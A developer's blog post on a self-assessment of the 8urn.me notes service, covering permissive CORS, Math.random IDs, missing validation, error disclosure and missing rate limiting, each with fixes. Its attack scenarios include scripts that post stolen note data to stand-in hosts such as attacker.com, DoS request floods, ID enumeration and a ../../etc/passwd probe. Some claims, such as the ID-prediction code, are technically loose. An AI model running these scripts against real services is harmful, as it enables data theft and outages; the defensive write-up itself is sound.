Security Deep Dive Finding and Fixing Critical Vul

2025-01-15
KBS
SecurityWeb DevelopmentLinuxNetworkingMusic

How I discovered 5 critical security flaws in my own application and what I learned from the experience


Introduction

Recently, I decided to conduct a thorough security assessment of 8urn.me, my anonymous self-destructing notes service. As a developer, I know how easy it is to focus on features and functionality while security considerations slip through the cracks. What I discovered was eye-opening: 5 critical vulnerabilities and several medium-risk issues that could have been exploited by attackers.

In this post, I'll walk you through each vulnerability I found, demonstrate how they could be exploited, and show you exactly how I fixed them. This isn't just a theoretical exercise—these are real vulnerabilities that existed in production code.


The Setup: Understanding 8urn.me

Before diving into the vulnerabilities, let me give you some context. 8urn.me is a privacy-focused service that allows users to create encrypted notes that self-destruct after being read or after a set time period. The architecture includes:

  • Client-side encryption using AES-256-GCM
  • Zero-knowledge architecture (server never sees plaintext)
  • Multiple deployment options (Express server, Netlify Functions)

The main server implementation (server.js) had decent security controls, but the Netlify Functions implementation (netlify/functions/notes-simple.js)—which appears to be what's running in production—was missing many of these protections.


Vulnerability #1: CORS Allows All Origins (CRITICAL)

The Problem

Cross-Origin Resource Sharing (CORS) is a security mechanism that controls which websites can make requests to your API. In my Netlify Function, I had this configuration:

// netlify/functions/notes-simple.js
const corsHeaders = {
  'Access-Control-Allow-Origin': '*',  // ⚠️ This is dangerous!
  'Access-Control-Allow-Headers': 'Content-Type',
  'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS',
};

That '*' means any website can make requests to my API. This opens up several attack vectors.

How It Could Be Abused

Attack Scenario 1: Unauthorized Note Creation

Imagine a malicious website that automatically creates notes when users visit it:

<!-- evil.com/malicious-page.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Free Gift Card - Click Here!</title>
</head>
<body>
    <h1>Congratulations! You've won a $100 gift card!</h1>
    <p>Click below to claim your reward...</p>
    
    <script>
        // This runs automatically when the page loads
        // No user interaction needed!
        fetch('https://8urn.me/api/notes', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify({
                encryptedContent: 'bXlzZWNyZXRkYXRh', // base64 encoded data
                triggerType: 'read',
                triggerValue: { reads: 1 }
            })
        })
        .then(response => response.json())
        .then(data => {
            // Send the note ID to attacker's server
            fetch('https://attacker.com/steal', {
                method: 'POST',
                body: JSON.stringify({ 
                    noteId: data.noteId, 
                    url: data.url,
                    userAgent: navigator.userAgent 
                })
            });
            
            console.log('Note created without user knowledge:', data.noteId);
        });
    </script>
</body>
</html>

Impact: When someone visits this malicious page, a note is automatically created on 8urn.me without their knowledge, and the note ID is sent to the attacker. The attacker could then:

  • Access the note if they can decrypt it
  • Use it for phishing (send the link to the victim)
  • Track which users visited the malicious site

Attack Scenario 2: Note Theft via CSRF

Since CORS allows all origins, an attacker can create a page that reads notes the victim has open:

// Attacker's website
async function stealNote(noteId) {
    try {
        // This request works because CORS allows all origins
        const response = await fetch(`https://8urn.me/api/notes/${noteId}`);
        const data = await response.json();
        
        if (data.success) {
            // Send stolen note data to attacker
            fetch('https://attacker.com/stolen-notes', {
                method: 'POST',
                body: JSON.stringify({
                    noteId: noteId,
                    encryptedContent: data.encryptedContent,
                    readCount: data.readCount,
                    timestamp: Date.now()
                })
            });
            
            // Optionally delete the note to hide evidence
            fetch(`https://8urn.me/api/notes/${noteId}`, {
                method: 'DELETE'
            });
        }
    } catch (error) {
        console.log('Note not accessible:', noteId);
    }
}

// If user has a note URL in their clipboard or browser history
// Extract note ID from URL and steal it
const urlParams = new URLSearchParams(window.location.search);
const noteId = urlParams.get('id');
if (noteId) {
    stealNote(noteId);
}

Impact: If a user has a note open in another tab or has the URL in their clipboard, a malicious site can steal it.

The Fix

I restricted CORS to only allow requests from legitimate origins:

// netlify/functions/notes-simple.js (FIXED)
function getCorsHeaders(event) {
    const allowedOrigins = [
        'https://8urn.me',
        'https://www.8urn.me'
    ];
    
    const origin = event.headers.origin || event.headers.Origin || '';
    const corsOrigin = allowedOrigins.includes(origin) ? origin : 'null';
    
    return {
        'Access-Control-Allow-Origin': corsOrigin,
        'Access-Control-Allow-Headers': 'Content-Type',
        'Access-Control-Allow-Methods': 'GET, POST, DELETE, OPTIONS',
        'Access-Control-Max-Age': '86400', // Cache preflight for 24 hours
    };
}

exports.handler = async (event, context) => {
    const corsHeaders = getCorsHeaders(event);
    
    // Handle CORS preflight
    if (event.httpMethod === 'OPTIONS') {
        return {
            statusCode: 200,
            headers: corsHeaders,
            body: '',
        };
    }
    
    // ... rest of handler
};

Now, only requests from 8urn.me or www.8urn.me are allowed. Any other origin will receive 'null' as the CORS origin, effectively blocking the request.


Vulnerability #2: Weak ID Generation (CRITICAL)

The Problem

I was using Math.random() to generate note IDs, which is cryptographically insecure and predictable:

// netlify/functions/notes-simple.js (VULNERABLE)
function generateId(length = 12) {
    const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    let result = '';
    for (let i = 0; i < length; i++) {
        // Math.random() is NOT cryptographically secure!
        result += chars.charAt(Math.floor(Math.random() * chars.length));
    }
    return result;
}

How It Could Be Abused

Attack Scenario: ID Enumeration and Prediction

Math.random() uses a predictable algorithm based on a seed. If an attacker knows approximately when a note was created, they can predict or enumerate possible IDs:

// Attacker's enumeration script
function predictId(timestamp, length = 12) {
    // Math.random() seed is often based on time
    // This is a simplified example - real prediction is more complex
    const seed = timestamp;
    const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    let result = '';
    
    // Simulate Math.random() behavior
    let rng = seed;
    for (let i = 0; i < length; i++) {
        rng = (rng * 1103515245 + 12345) & 0x7fffffff;
        const index = rng % chars.length;
        result += chars[index];
    }
    return result;
}

// Try to predict IDs created in the last hour
const now = Date.now();
const foundNotes = [];

for (let i = 0; i < 3600; i++) { // Last hour in seconds
    const predictedId = predictId(now - (i * 1000));
    
    // Check if note exists
    fetch(`https://8urn.me/api/notes/${predictedId}`)
        .then(response => {
            if (response.status === 200) {
                foundNotes.push(predictedId);
                console.log('Found note:', predictedId);
                // Now steal it
                stealNote(predictedId);
            }
        });
}

Even worse, if IDs are generated sequentially or with patterns, an attacker could brute-force common patterns:

// Brute force common ID patterns
const commonPatterns = [
    'aaaaaaaaaaaa', // All same character
    'abcdefghijkl', // Sequential
    '000000000000', // All zeros
    'ZZZZZZZZZZZZ', // All Z
];

for (const pattern of commonPatterns) {
    fetch(`https://8urn.me/api/notes/${pattern}`)
        .then(response => {
            if (response.status === 200) {
                console.log('Found note with weak ID:', pattern);
            }
        });
}

Impact: An attacker could discover and access notes they shouldn't have access to, completely breaking the privacy model of the service.

The Fix

I replaced Math.random() with the Web Crypto API's crypto.getRandomValues(), which is cryptographically secure:

// netlify/functions/notes-simple.js (FIXED)
function generateId(length = 12) {
    const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    const array = new Uint8Array(length);
    
    // Use cryptographically secure random number generation
    crypto.getRandomValues(array);
    
    let result = '';
    for (let i = 0; i < length; i++) {
        result += chars[array[i] % chars.length];
    }
    return result;
}

For Node.js environments (like Netlify Functions), I use the crypto module:

// netlify/functions/notes-simple.js (FIXED - Node.js version)
const crypto = require('crypto');

function generateId(length = 12) {
    const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
    
    // Generate cryptographically secure random bytes
    const randomBytes = crypto.randomBytes(length);
    
    let result = '';
    for (let i = 0; i < length; i++) {
        result += chars[randomBytes[i] % chars.length];
    }
    return result;
}

Now, note IDs are truly unpredictable and cannot be enumerated or guessed.


Vulnerability #3: Missing Input Validation (CRITICAL)

The Problem

The Netlify Function had minimal input validation—it only checked if fields existed, not if they were valid:

// netlify/functions/notes-simple.js (VULNERABLE)
const { encryptedContent, triggerType, triggerValue, passphraseHash } = body;

// Basic validation - only checks existence!
if (!encryptedContent || !triggerType) {
    return {
        statusCode: 400,
        headers: corsHeaders,
        body: JSON.stringify({ error: 'Missing required fields' })
    };
}

// ⚠️ No validation of:
// - triggerValue ranges
// - encryptedContent size
// - triggerType validity
// - data types

How It Could Be Abused

Attack Scenario 1: DoS via Oversized Content

An attacker could send extremely large payloads to exhaust server memory:

// Attacker's DoS script
const hugeContent = 'A'.repeat(10000000); // 10MB of data (way over 50KB limit)

async function exhaustServer() {
    const promises = [];
    
    // Send 100 requests with huge payloads
    for (let i = 0; i < 100; i++) {
        promises.push(
            fetch('https://8urn.me/api/notes', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                body: JSON.stringify({
                    encryptedContent: hugeContent,
                    triggerType: 'read',
                    triggerValue: { reads: 1 }
                })
            })
        );
    }
    
    await Promise.all(promises);
    console.log('Server memory potentially exhausted');
}

exhaustServer();

Impact: Server runs out of memory, service becomes unavailable.

Attack Scenario 2: Invalid Data Causing Errors

Without proper validation, attackers can send malformed data:

// Various attack payloads
const attacks = [
    // Negative values (should be rejected)
    {
        encryptedContent: 'test',
        triggerType: 'read',
        triggerValue: { reads: -1 }
    },
    
    // Extremely large values
    {
        encryptedContent: 'test',
        triggerType: 'read',
        triggerValue: { reads: 999999999 }
    },
    
    // Wrong data types
    {
        encryptedContent: 'test',
        triggerType: 'read',
        triggerValue: { reads: 'not a number' }
    },
    
    // Missing required fields in nested objects
    {
        encryptedContent: 'test',
        triggerType: 'both',
        triggerValue: { reads: 1 } // Missing 'time' field
    },
    
    // Invalid trigger type
    {
        encryptedContent: 'test',
        triggerType: 'malicious_injection',
        triggerValue: { reads: 1 }
    }
];

// Send all attacks
attacks.forEach((attack, index) => {
    setTimeout(() => {
        fetch('https://8urn.me/api/notes', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify(attack)
        })
        .then(response => {
            console.log(`Attack ${index} response:`, response.status);
            // If any succeed, it's a vulnerability
        });
    }, index * 100);
});

Impact:

  • Service crashes or behaves unexpectedly
  • Invalid data stored in system
  • Potential security bypasses

The Fix

I imported and used the comprehensive validation module I had already created for the main server:

// netlify/functions/notes-simple.js (FIXED)
// Import validation utilities
const { validateNoteCreation, validateNoteId } = require('../../utils/validation');

exports.handler = async (event, context) => {
    // ... CORS handling ...
    
    // Route: POST /api/notes
    if (httpMethod === 'POST' && pathParts[1] === 'notes') {
        let body;
        try {
            body = JSON.parse(event.body || '{}');
        } catch (error) {
            return {
                statusCode: 400,
                headers: corsHeaders,
                body: JSON.stringify({ error: 'Invalid JSON' })
            };
        }
        
        const { encryptedContent, triggerType, triggerValue, passphraseHash } = body;
        
        // ✅ Comprehensive input validation
        const validation = validateNoteCreation({
            encryptedContent,
            triggerType,
            triggerValue,
            passphraseHash
        });
        
        if (!validation.valid) {
            return {
                statusCode: 400,
                headers: corsHeaders,
                body: JSON.stringify({ error: validation.error })
            };
        }
        
        // ... rest of handler ...
    }
};

The validation module checks:

  • Trigger type is valid (read, time, or both)
  • Trigger values are within bounds (reads: 1-100, time: 60-604800 seconds)
  • Encrypted content size is within limits (max 50,000 chars)
  • Data types are correct
  • All required fields are present

Vulnerability #4: Error Message Information Disclosure (CRITICAL)

The Problem

The Netlify Function was exposing internal error messages in production:

// netlify/functions/notes-simple.js (VULNERABLE)
} catch (error) {
    console.error('Function error:', error);
    return {
        statusCode: 500,
        headers: corsHeaders,
        body: JSON.stringify({ 
            error: 'Internal server error',
            message: error.message  // ⚠️ Exposes internal details!
        })
    };
}

How It Could Be Abused

Attack Scenario: Information Gathering

An attacker could intentionally trigger errors to learn about the system:

// Attacker's information gathering script
async function gatherSystemInfo() {
    const attacks = [
        // Cause JSON parse error
        () => fetch('https://8urn.me/api/notes', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: 'invalid json{{{'
        }),
        
        // Cause validation error
        () => fetch('https://8urn.me/api/notes', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({}) // Missing required fields
        }),
        
        // Cause type error
        () => fetch('https://8urn.me/api/notes', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                encryptedContent: null,
                triggerType: null,
                triggerValue: null
            })
        }),
        
        // Path traversal attempt
        () => fetch('https://8urn.me/api/notes/../../etc/passwd', {
            method: 'GET'
        })
    ];
    
    const gatheredInfo = [];
    
    for (const attack of attacks) {
        try {
            const response = await attack();
            const data = await response.json();
            
            // Error messages might reveal:
            gatheredInfo.push({
                attack: attack.toString(),
                error: data.message || data.error,
                // Could reveal:
                // - Database type (Redis, MongoDB, etc.)
                // - File paths
                // - Stack traces
                // - Internal function names
                // - System architecture
            });
        } catch (error) {
            gatheredInfo.push({
                attack: attack.toString(),
                exception: error.message
            });
        }
    }
    
    // Send gathered information to attacker
    fetch('https://attacker.com/info', {
        method: 'POST',
        body: JSON.stringify(gatheredInfo)
    });
    
    return gatheredInfo;
}

gatherSystemInfo();

Example of what might be leaked:

// Bad (reveals too much)
{
    "error": "Internal server error",
    "message": "Redis connection failed: ECONNREFUSED 127.0.0.1:6379"
}
// Reveals: Using Redis, local connection, port 6379

// Bad (reveals file paths)
{
    "error": "Internal server error",
    "message": "ENOENT: no such file or directory, open '/app/data/notes.json'"
}
// Reveals: File system structure, deployment path

// Bad (reveals stack trace)
{
    "error": "Internal server error",
    "message": "TypeError: Cannot read property 'reads' of undefined\n    at calculateTTL (/var/task/utils/note-utils.js:45:12)"
}
// Reveals: Function names, file structure, line numbers

Impact:

  • Attacker learns system architecture
  • Easier to exploit other vulnerabilities
  • System fingerprinting
  • Makes targeted attacks possible

The Fix

I removed error message exposure in production:

// netlify/functions/notes-simple.js (FIXED)
} catch (error) {
    console.error('Function error:', error);
    
    // Don't expose error details in production
    const isProduction = process.env.NODE_ENV === 'production';
    
    return {
        statusCode: 500,
        headers: corsHeaders,
        body: JSON.stringify({ 
            error: 'Internal server error'
            // ✅ No error.message in production
            // Only log internally for debugging
        })
    };
}

Now, all errors return a generic message, and detailed error information is only logged server-side for debugging purposes.


Vulnerability #5: No Rate Limiting (CRITICAL)

The Problem

The Netlify Function had no rate limiting whatsoever, allowing unlimited requests:

// netlify/functions/notes-simple.js (VULNERABLE)
exports.handler = async (event, context) => {
    // ⚠️ No rate limiting checks anywhere!
    // Anyone can make unlimited requests
    // ...
};

How It Could Be Abused

Attack Scenario 1: Resource Exhaustion DoS

An attacker could create notes as fast as possible:

// Attacker's DoS script
async function createNote() {
    try {
        const response = await fetch('https://8urn.me/api/notes', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                encryptedContent: 'bXlzZWNyZXRkYXRh',
                triggerType: 'read',
                triggerValue: { reads: 1 }
            })
        });
        return await response.json();
    } catch (error) {
        return null;
    }
}

// Create 1000 notes simultaneously
console.log('Starting DoS attack...');
const startTime = Date.now();

const promises = [];
for (let i = 0; i < 1000; i++) {
    promises.push(createNote());
}

Promise.all(promises).then(results => {
    const successCount = results.filter(r => r !== null).length;
    const duration = Date.now() - startTime;
    
    console.log(`Created ${successCount} notes in ${duration}ms`);
    console.log('Server resources potentially exhausted');
    
    // Repeat attack
    setTimeout(() => exhaustServer(), 1000);
});

Impact:

  • Server memory exhausted
  • Service becomes unavailable
  • Legitimate users can't access the service
  • Potential cost implications (if using paid serverless services)

Attack Scenario 2: Distributed Attack

Since CORS allows all origins (before the fix), an attacker could deploy the attack script on multiple websites:

// Deploy this on 10 different malicious websites
// Each site makes requests simultaneously

function attackFromSite(siteName) {
    console.log(`Attacking from ${siteName}`);
    
    setInterval(() => {
        fetch('https://8urn.me/api/notes', {
            method: 'POST',
            headers: { 'Content-Type': 'application/json' },
            body: JSON.stringify({
                encryptedContent: 'bXlzZWNyZXRkYXRh',
                triggerType: 'read',
                triggerValue: { reads: 1 }
            })
        });
    }, 100); // 10 requests per second per site
}

// Deploy on 10 sites = 100 requests/second total
// No rate limiting = service overwhelmed
attackFromSite('evil-site-1.com');

Impact: Even more effective DoS, harder to block.

The Fix

I implemented rate limiting using a simple in-memory store (for Netlify Functions, you'd want to use a service like Upstash Redis for distributed rate limiting):

// netlify/functions/notes-simple.js (FIXED)
// Simple in-memory rate limiting
// For production, use Upstash Redis or similar
const rateLimitStore = new Map();

function checkRateLimit(ip, limit, windowMs) {
    const now = Date.now();
    const key = `${ip}:${limit}:${windowMs}`;
    
    const record = rateLimitStore.get(key);
    
    if (!record || now - record.resetTime > windowMs) {
        // New window
        rateLimitStore.set(key, {
            count: 1,
            resetTime: now + windowMs
        });
        return { allowed: true, remaining: limit - 1 };
    }
    
    if (record.count >= limit) {
        return { 
            allowed: false, 
            remaining: 0,
            resetTime: record.resetTime
        };
    }
    
    record.count++;
    return { 
        allowed: true, 
        remaining: limit - record.count 
    };
}

exports.handler = async (event, context) => {
    // Get client IP
    const ip = event.headers['x-forwarded-for']?.split(',')[0] || 
               event.requestContext?.identity?.sourceIp || 
               'unknown';
    
    // Rate limiting for note creation
    if (event.httpMethod === 'POST' && pathParts[1] === 'notes') {
        const rateLimit = checkRateLimit(ip, 10, 60000); // 10 per minute
        
        if (!rateLimit.allowed) {
            return {
                statusCode: 429,
                headers: {
                    ...corsHeaders,
                    'X-RateLimit-Limit': '10',
                    'X-RateLimit-Remaining': '0',
                    'X-RateLimit-Reset': new Date(rateLimit.resetTime).toISOString(),
                    'Retry-After': Math.ceil((rateLimit.resetTime - Date.now()) / 1000)
                },
                body: JSON.stringify({ 
                    error: 'Too many note creations. Please slow down.' 
                })
            };
        }
    }
    
    // Rate limiting for note retrieval
    if (event.httpMethod === 'GET' && pathParts[1] === 'notes') {
        const rateLimit = checkRateLimit(ip, 100, 60000); // 100 per minute
        
        if (!rateLimit.allowed) {
            return {
                statusCode: 429,
                headers: {
                    ...corsHeaders,
                    'X-RateLimit-Limit': '100',
                    'X-RateLimit-Remaining': '0',
                    'Retry-After': Math.ceil((rateLimit.resetTime - Date.now()) / 1000)
                },
                body: JSON.stringify({ 
                    error: 'Too many requests. Please slow down.' 
                })
            };
        }
    }
    
    // ... rest of handler ...
};

For a production Netlify deployment, I'd recommend using Upstash Redis for distributed rate limiting:

// Production-ready rate limiting with Upstash Redis
const { Redis } = require('@upstash/redis');

const redis = new Redis({
    url: process.env.UPSTASH_REDIS_REST_URL,
    token: process.env.UPSTASH_REDIS_REST_TOKEN,
});

async function checkRateLimit(ip, limit, windowMs) {
    const key = `ratelimit:${ip}`;
    const now = Date.now();
    
    const pipeline = redis.pipeline();
    pipeline.incr(key);
    pipeline.expire(key, Math.ceil(windowMs / 1000));
    const results = await pipeline.exec();
    
    const count = results[0];
    
    if (count > limit) {
        return { allowed: false, remaining: 0 };
    }
    
    return { allowed: true, remaining: limit - count };
}

Additional Fixes: Medium-Risk Vulnerabilities

CSP Unsafe-Inline

The Content Security Policy allowed 'unsafe-inline' for styles, which reduces XSS protection. While the current implementation uses textContent (which is safe), removing unsafe-inline provides defense in depth:

// server.js (IMPROVED)
app.use(helmet({
    contentSecurityPolicy: {
        directives: {
            defaultSrc: ["'self'"],
            styleSrc: ["'self'"], // ✅ Removed 'unsafe-inline'
            scriptSrc: ["'self'"], // ✅ Removed 'unsafe-inline'
            // ... other directives
        },
    },
}));

Combined Trigger Logic

I also fixed the combined trigger logic in the Netlify Function to properly handle both time and read-based triggers:

// netlify/functions/notes-simple.js (FIXED)
// Import shared utilities
const { shouldDeleteNote, processNoteRead } = require('../../utils/note-utils');

// In GET handler:
const noteData = notes.get(noteId);

if (!noteData) {
    return { statusCode: 404, /* ... */ };
}

// ✅ Use shared utility for deletion logic
if (shouldDeleteNote(noteData)) {
    notes.delete(noteId);
    return { statusCode: 404, /* ... */ };
}

// ✅ Process read and check for deletion
const { shouldDelete } = processNoteRead(noteData);

if (shouldDelete) {
    notes.delete(noteId);
}

Lessons Learned

This security assessment taught me several important lessons:

  1. Don't assume security - Just because the main server has security controls doesn't mean all deployment targets do
  2. Test all code paths - The Netlify Function was a separate code path that needed its own security review
  3. Security is a process - Regular security assessments are essential, even for your own code
  4. Defense in depth - Multiple layers of security (validation, rate limiting, CORS, etc.) are crucial
  5. Error handling matters - Generic error messages prevent information leakage

Conclusion

Finding these vulnerabilities in my own code was humbling but educational. The good news is that all critical issues have been fixed, and the service is now significantly more secure. The fixes I implemented include:

✅ CORS restrictions - Only allow legitimate origins
✅ Secure ID generation - Using cryptographically secure random numbers
✅ Comprehensive validation - All inputs are properly validated
✅ Error message sanitization - No internal details exposed
✅ Rate limiting - Protection against abuse and DoS

Security is an ongoing process, not a one-time task. Regular assessments, staying updated on security best practices, and learning from vulnerabilities (even your own) are essential for maintaining a secure service.

If you're building a similar service, I hope this post helps you avoid these pitfalls. And if you find vulnerabilities in your own code, don't be discouraged—use it as a learning opportunity to build more secure systems.


Stay secure, and happy coding! 🔒

Have questions or found this helpful? Feel free to reach out or discuss in the comments!